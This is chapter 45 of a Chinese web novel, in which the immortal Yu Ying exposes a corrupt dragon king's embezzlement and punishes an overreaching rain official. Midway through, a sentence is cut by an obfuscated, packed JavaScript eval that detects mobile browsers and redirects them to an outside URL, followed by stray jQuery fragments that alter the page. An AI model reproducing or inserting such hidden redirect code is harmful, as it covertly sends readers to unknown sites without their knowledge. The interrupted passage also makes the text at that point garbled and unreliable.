45.第 45 章

作品:《死遁后和哪吒掀了天庭

    “启禀元君!”那水族侍从扑通一声跪下,声音带着哭腔,“不好了!云梦泽水府出事了!那司雨仙官带着天兵强行封查了水府库房,说奉元君之命要彻查行宫用度,结果、结果不知怎地,看守库房的老龟丞与天兵起了冲突,被打成重伤!现在水府乱成一团,龙王震怒,说、说灵山元君是要断我水族生路啊!”


    王仙官眼中精光一闪,嘴角勾起,好整以暇地看向与应。


    与应只觉得一股血气直冲头顶,她明明在批注中写的是详查行宫用度,公示于众,何时下令强行封查库房?


    还打伤了人?这分明是有人借题发挥,故意激化矛盾,把屎盆子扣死在她头上!而且时机掐得如此之准,就在她被王仙官绊住之时!


    愤怒让她几乎要拍案而起,但看到王仙官那审视的目光,她硬生生压下火气,不能失态,不能给任何人留下把柄。


    “元君明鉴!”水族侍从还在哭诉,“老龟丞忠心耿耿,只是护府心切,绝无对抗天庭之意!求元君为水府做主啊!”


    与应深吸一口气,强迫自己冷静。她看向既回:“惠岸行者可在附近?”


    既回立刻回答:“回元君,惠岸行者一早便去了瑶池与王母座下仙子商议下月讲经事宜,尚未归来。”


    木吒不在,金吒在外围,远水解不了近渴,此刻能依靠的,竟只有身边这个看似柔弱的仙娥和自己。


    “王仙官,”与应转向王仙官,“水府之事突发,涉及本座先前批注,恐有误解。本座需即刻前往云梦泽处理,这功德簿的查阅,可否容后再续?”


    王仙官故作沉吟:“这……李天王吩咐要详尽记录……”


    “天王处,本座自会解释。”与应站起身,“水族动荡,若波及人间水道,影响凡尘生灵,这因果,王仙官可愿与本座同担?”


    王仙官脸色微变,显然不愿担此责:“元君言重了。既是突发要务,自然以稳定为重。下官稍后再来叨扰便是。”


    他起身,带着小吏匆匆告退,临走前目光复杂地看了既回一眼。


    与应顾不上他,立刻对那水族侍从道:“速带路!”


    “是!是!”侍从连忙爬起来。


    “元君,”既回快步跟上,“婢子随您同去!”


    与应此刻心乱如麻,只当是这仙娥忠心,无暇多想:“走!”


    她快步走出七苦殿,僧袍在风中扬起,既回紧紧跟在她身侧,寸步不离。


    ·


    云梦泽水府,早已乱成一锅沸水。


    水波激荡,虾兵蟹将们手持兵刃,与披坚执锐的天兵紧张对峙,气氛剑拔弩张。


    司雨仙官带来的天兵领队,银甲神将正指挥手下,试图强行进入被符咒封闭的库房重地,对水族的阻拦视若无睹。


    “奉七苦元君法旨!彻查水府行宫用度,尔等再敢阻拦,便是抗旨!”


    “放屁!”蟹将挥舞着巨钳,“你们打伤龟丞,还想强闯库房?分明是假借元君之名,行劫掠之实!”


    “放肆!”银甲神将眼神一厉,手按上剑柄。


    就在冲突一触即发之际,一道清冷的声音穿透混乱的水波,带着不容置疑的威仪:“住手。”


    所有人的动作瞬间凝固。


    水波分开,与应身着僧袍,周身笼罩着一层属于灵山的清净佛光,缓步而来。


    她面容沉静,眼神却如寒潭,扫过对峙的双方,在她身后一步之遥,既回低眉顺目地跟着,仿佛只是元君的影子。


    “元君!”水族们如同见到救星,纷纷跪倒,连那暴躁的蟹将也收敛了气焰,龙王敖钦也从内殿匆匆赶来,老脸上满是悲愤和惊疑。


    司雨仙官和银甲神将脸色微变,连忙行礼:“参见元君!”


    与应没有看他们,目光直接落在被两名水族搀扶出来,气息奄奄的老龟丞身上,龟壳上明显有道深深的裂痕,显然是神力重击所致。


    “这是怎么回事?”


    “元君明鉴啊!”敖钦龙王抢先一步,扑倒在地,声泪俱下,“老臣奉元君法旨,正欲配合详查行宫用度,孰料司雨仙官竟带兵强闯库房,龟丞忠心护府,稍加阻拦,便被这神将打成重伤!这哪里是查账,分明是要灭我水府啊!求元君为老臣做主!”


    司雨仙官脸色一白,急道:“元君!下官是奉您批注行事!详查行宫用度!这老龟丞百般阻挠,形迹可疑,分明是心中有鬼!下官只是命人将其拿下,谁知他竟敢反抗,神将出手也是迫于无奈!”


    “迫于无奈?”与应冷冷地重复,目光转向银甲神将,“你出手之时,可曾想过,他是天庭敕封的水府属官?可曾想过,重伤同僚,是何罪名?”


    银甲神将被她看得心头一凛,硬着头皮道:“回元君,事急从权,下官唯恐其毁坏证据……”


    “证据?”与应打断他,“本座批注写得清清楚楚:详查行宫用度,公示于众!何时允你带兵强闯库房?何时允你擅伤水府属官?司雨仙官,你是在执行本座的法旨,还是在假传法旨,借机泄私愤、搅乱水府?!”


    这一连串质问,刺得司雨仙官冷汗涔涔,他确实有借机打压水府,彰显权威的心思,更得了某些暗示要把事情闹大,却没想到元君亲至,直接点破他的僭越。


    “下官、下官不敢!”司雨仙官慌忙跪下,“下官只是、只是理解有误,急于求成……”


    “理解有误?”与应冷哼一声,不再看他,转向敖钦龙王,“龙王。”


    “老臣在!”敖钦连忙应道。


    “本座问你,你言建造行宫是为接待灵山尊者,彰显仙佛和睦。可据本座所知,灵山并无尊者近期造访云梦泽的行程。此事,你做何解释?”


    敖钦龙王浑身一颤,冷汗也下来了,他建造行宫,中饱私囊是真,借灵山名头也是真,但没想到元君连灵山尊者的行程都一清二楚。


    “这…这……”敖钦支支吾吾。


    就在这时,一直沉默侍立在旁的既回,轻轻咦了一声,声音不大,却足以让与应和近处的敖钦听见。


    与应余光瞥见既回的目


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759056|172776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光,似乎落在了龙王腰间悬挂的玉珏上。


    那玉珏水光盈盈,一看就价值不菲,更关键的是,其雕工纹饰,竟与卷宗上行宫草图里的某个奢华装饰如出一辙。


    与应瞬间明白既回的暗示,厉声道:“敖钦!你腰间的玉珏,分明是行宫主殿梁柱上镇海玉的边角料所制!你还有何话说?!是否要本座请灵山尊者亲自来验看,你这接待尊者的行宫,到底用了几分心思在礼佛,几分心思在敛财?!”


    敖钦龙王脸色瞬间惨白如纸,下意识地捂住腰间的玉珏。


    这玉珏确实是行宫建造时,他命工匠用最好的边角料偷偷给他打磨的,这元君的眼睛也太毒了!连这个都看得出来?


    水族一片哗然,看向龙王的眼神充满鄙夷,原来龙王才是中饱私囊的那个!还害得龟丞被打!


    司雨仙官也愣住了,没想到事情急转直下,龙王自己爆了雷。


    与应不给任何人喘息的机会,“敖钦!你借灵山之名,行奢靡敛财之实,欺上瞒下,已犯天条!更因你一己私欲,致忠心属官重伤,水府动荡!你可知罪?!”


    “老臣……老臣知罪!求元君开恩!”敖钦彻底瘫软在地,连连磕头。


    与应又看向司雨仙官和银甲神将:“司雨仙官,你曲解法旨,行事鲁莽,越权擅专,激化矛盾,险些酿成大祸!银甲神将,你出手重伤水府属官,罪责难逃!你二人,即刻卸去此间职司,回天庭听候发落!”


    两人面如死灰,不敢有丝毫辩解,只能叩首领罪。


    “至于龟丞,”与应的声音缓和下来,“忠心可嘉,无辜受累。着水府全力救治,所需灵药,由本座承担。其忠义,本座自会上奏天庭嘉奖。”


    水族们闻言,无不感念元君公正仁厚,纷纷叩拜:“谢元君明察!元君慈悲!”


    “龙王敖钦,”与应最后下令,“行宫建造即刻停止。库房账册,三日内由水族自行清点,列出所有用于行宫的物资及来源,公示于水府内外,并抄送本座及司雨部存档。接待尊者的清净之所,另择简朴之地。此事若再有差池,数罪并罚!”


    “是!是!老臣遵命!谢元君宽宏!”敖钦连连叩头。


    危机解除,水府的气氛从剑拔弩张转为劫后余生的敬畏。


    与应这才觉得一股巨大的疲惫感席卷而来,身形晃了一下。


    一直紧跟在侧的既回,立刻不着痕迹地向前半步,用自己并不宽厚的肩膀,仿佛只是调整站位般,轻轻支撑了一下与应的手臂外侧,让她稳住身形。


    那支撑的力道恰到好处,转瞬即逝。


    与应微微一怔,侧头看向既回。


    小仙娥依旧低垂着眼睫,仿佛刚才只是无意之举,但耳根那抹尚未完全褪去的红晕,却泄露了一丝紧张。


    “回吧。”与应收回目光,压下心中异样的感觉,声音带着浓浓的倦意。


    “是。”既回应道。


    两人在无数水族感激敬畏的目光中,离开了依旧波光粼粼却已恢复平静的云梦泽。